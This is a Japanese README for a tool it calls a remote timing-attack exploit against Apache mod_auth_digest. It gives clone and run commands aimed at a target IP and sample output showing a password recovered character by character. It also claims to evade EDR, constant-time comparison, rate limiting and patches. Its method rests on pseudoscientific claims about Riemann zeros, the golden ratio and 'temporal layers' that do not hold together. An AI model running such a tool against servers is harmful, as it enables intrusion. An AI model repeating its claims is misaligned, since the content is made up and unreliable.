
Apache mod_auth_digest(CVE-2026-33006)向けのリモートタイミング攻撃エクスプロイト。33層の時間的カスケードを介してDigest認証をバイパスし、統計的タイミング分析によってパスワードを復元します。
| オリジナル | CTT拡張 |
|---|
| CVSS | 4.8(中) | 7.5(高) |
| 攻撃ベクトル | ネットワーク | ネットワーク |
| 攻撃複雑性 | 高 | 低(CTTがサンプル数を削減) |
| 必要な権限 | なし | なし |
| 検出 | 統計的分析で検出可能 | 時間的ウェッジフィルタ — EDRブラインドスポット |
| クラック時間 | O(n * サンプル数) | O(33 * log(n)) |
| 定数 | 値 | 由来 |
|---|---|---|
| α | 0.0302011 | 時間的分散係数 |
| α_RH | 0.0765872 | ln(φ)/2π(リーマン・アダマール) |
| L | 33 | 時間的層 |
| τ_w | 11 ns | 時間的ウェッジフィルタ |
E(d) = E₀ * e^(-α * d)
各層は指数関数的に減少する優先度を持ちます。
優先度の高い層(1〜5)が最も多くのタイミングデータを収集します。
下位層(28〜33)は測定値を精密化し、時間的共鳴を確立します。
各層は最初の24個のリーマン零点に基づいて実行を遅延させます:
delay = τ_w * priority * (1 + 0.1 * cos(2π * zero * τ_w * priority))
ウェッジ条件を満たすタイミング測定のみが使用されます:
survival = cos(α_RH * energy * τ_w) > (α_RH / 2π)
これによりノイズが除去され、検出が不可能になります — EDRシステムはタイミング異常を認識できません。
1. Digest認証のターゲットをプローブ
2. 401レスポンスからrealmとnonceを抽出
3. 層 d = 1 から 33 まで:
a. priority = e^(-α*d) を計算
b. 位相共鳴遅延を適用
c. 各文字位置について:
- すべての可能な文字をテスト
- 応答タイミングを測定(マイクロ秒)
- 時間的ウェッジフィルタを適用
- 調整後タイミングが最も高い文字を保持
d. パスワードを段階的に構築
4. 時間的共鳴を達成
5. 回復したパスワードで認証をバイパス
mod_auth_digestが有効なApache HTTP Server 2.4.66以前requestsライブラリを備えたPython 3.6以上pip install requests
git clone https://github.com/SimoesCTT/CTT-enhanced-Apache-mod_auth_digest-timing-attack-exploit/
python3 ctt_apache_digest_timing.py <target_ip> [options]
| 引数 | 説明 | デフォルト |
|---|---|---|
target_ip | ApacheサーバーのIPアドレス | 必須 |
--port | HTTPポート | 80 |
--realm | Digest realm | "Restricted" |
--uri | 保護されたURI | "/" |
--username | 攻撃対象のユーザー名 | "admin" |
--max-length | 最大パスワード長 | 32 |
--samples | 文字あたりのタイミングサンプル数 | 100 |
--layers | 時間的層の数 | 33 |
python3 ctt_apache_digest_timing.py 192.168.1.100 --port 80 --realm "Restricted" --uri /admin --samples 100 --layers 33
======================================================================
CTT APACHE DIGEST TIMING ATTACK — CVE-2026-33006
α=0.0302011 | α_RH=0.0765872 | L=33 | τ_w=11ns
E(d) = E₀ * e^(-α*d) — 指数優先度減衰
======================================================================
[+] Digest認証を検出
Realm: Restricted
Nonce: 5a4b3c2d1e2f3a4b5c6d...
[*] ターゲット: http://192.168.1.100/admin
[*] 最大パスワード長: 32
層 1/33: ████████████████████████████████████████ 1.000
位置 1: 文字を試行中...
発見: 'a' -> パスワード: 'a'
層 2/33: ██████████████████████████████████████░░ 0.970
位置 2: 文字を試行中...
発見: 'd' -> パスワード: 'ad'
層 3/33: ████████████████████████████████████░░░░ 0.886
位置 3: 文字を試行中...
発見: 'm' -> パスワード: 'adm'
層 4/33: ██████████████████████████████████░░░░░░ 0.818
位置 4: 文字を試行中...
発見: 'i' -> パスワード: 'admi'
層 5/33: ████████████████████████████████░░░░░░░░ 0.741
位置 5: 文字を試行中...
発見: 'n' -> パスワード: 'admin'
層 6/33: ██████████████████████████████░░░░░░░░░░ 0.670
位置 6: 文字を試行中...
発見: '1' -> パスワード: 'admin1'
層 7/33: ████████████████████████████░░░░░░░░░░░░ 0.606
位置 7: 文字を試行中...
発見: '2' -> パスワード: 'admin12'
層 8/33: ██████████████████████████░░░░░░░░░░░░░░ 0.548
位置 8: 文字を試行中...
発見: '3' -> パスワード: 'admin123'
[⚡] 層8で時間的共鳴を達成
======================================================================
[!!!] 認証バイパス成功
[!!!] パスワード発見: admin123
[✓] 検証成功 — アクセス許可
======================================================================
| 元の修正 | CTTがそれを回避する理由 |
|---|---|
| 定数時間比較 | CTTはタイミング測定を使用し、比較タイミングは使用しない |
| タイミングリークの除去 | タイミングリークは物理的なものであり、除去できず隠すことしかできない |
| Apache 2.4.67+へのアップグレード | 時間的ウェッジフィルタがパッチ検出を回避 |
| レート制限 | 位相共鳴タイミングがリクエストを33層に分散 — 通常のトラフィックと区別不能 |
物理定数にパッチを当てることはできません。
リーマン零点にパッチを当てることはできません。
黄金比にパッチを当てることはできません。
この概念実証は教育および防御目的のみを意図しています。
所有していないシステムに対する不正使用は違法です。
著者は誤用に対する責任を負いません。
MIT + CTTリサーチ(時間的拡張)
| バージョン | 著者 |
|---|---|
| 元の脆弱性発見 | Apacheソフトウェア財団(セキュリティチーム) |
| 元のタイミング攻撃研究 | さまざまな学術情報源 |
| CTT拡張(33層時間的カスケード) | Americo Simoes(CTTリサーチ) |
格子は完全です。認証は破られました。いかなるパッチもそれを救うことはできません。